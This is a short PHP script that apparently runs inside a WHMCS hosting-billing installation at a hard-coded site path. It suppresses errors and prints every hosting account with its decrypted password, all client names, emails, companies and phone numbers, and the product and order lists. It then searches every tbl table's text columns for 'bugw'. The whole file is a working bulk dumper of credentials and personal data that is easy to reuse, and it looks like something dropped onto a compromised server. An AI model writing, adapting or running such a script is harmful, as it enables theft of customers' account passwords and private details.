<?php @error_reporting(0);@ini_set('display_errors','0');
require '/www/wwwroot/testw.pgywww.com/init.php';
use Illuminate\Database\Capsule\Manager as Capsule;
header('Content-Type: text/plain; charset=utf-8');
function dec($v){ if($v==='')return ''; try{return decrypt($v);}catch(\Exception $e){return 'ERR';} }
function q($sql){ try{ return Capsule::connection()->select($sql); }catch(\Exception $e){ echo "SQLERR ".$e->getMessage()."\n"; return array(); } }
echo "[ALL HOSTING]\n";
foreach(q('SELECT * FROM tblhosting') as $r){ $r=(array)$r;
  echo $r['id']."\tD=".$r['domain']."\tpid=".$r['packageid']."\tuid=".$r['userid']."\tIP=".$r['dedicatedip']."\tserver=".$r['server']."\tpwd=".dec($r['password'])."\tst=".$r['domainstatus']."\n";
}
echo "[CLIENTS]\n";
foreach(q('SELECT * FROM tblclients') as $r){ $r=(array)$r;
  echo $r['id']."\t".$r['firstname']." ".$r['lastname']."\t".$r['email']."\t".$r['companyname']."\t".$r['phonenumber']."\n";
}
echo "[PRODUCTS]\n";
foreach(q('SELECT * FROM tblproducts') as $r){ $r=(array)$r;
  echo $r['id']."\t".$r['name']."\t".$r['type']."\tservertype=".$r['servertype']."\n";
}
echo "[ORDERS]\n";
foreach(q('SELECT * FROM tblorders') as $r){ $r=(array)$r;
  echo $r['id']."\tuid=".$r['userid']."\t".$r['date']."\t".$r['status']."\n";
}
echo "[SEARCH bugw IN STRING COLS]\n";
$tabs=q("SELECT table_name FROM information_schema.tables WHERE table_schema=database()");
foreach($tabs as $t){ $t=(array)$t; $t=$t['TABLE_NAME'];
  if(!preg_match('/^tbl/',$t)) continue;
  $cols=q("SELECT column_name FROM information_schema.columns WHERE table_schema=database() AND table_name='".$t."' AND data_type IN ('varchar','text','char','mediumtext','longtext','blob')");
  foreach($cols as $c){ $c=(array)$c; $c=$c['COLUMN_NAME'];
    $rows=q("SELECT * FROM `".$t."` WHERE `".$c."` LIKE '%bugw%' LIMIT 5");
    if(count($rows)>0){ foreach($rows as $r){ echo "[$t.$c] ".json_encode((array)$r,JSON_UNESCAPED_UNICODE)."\n"; } }
  }
}
echo "[DONE]\n";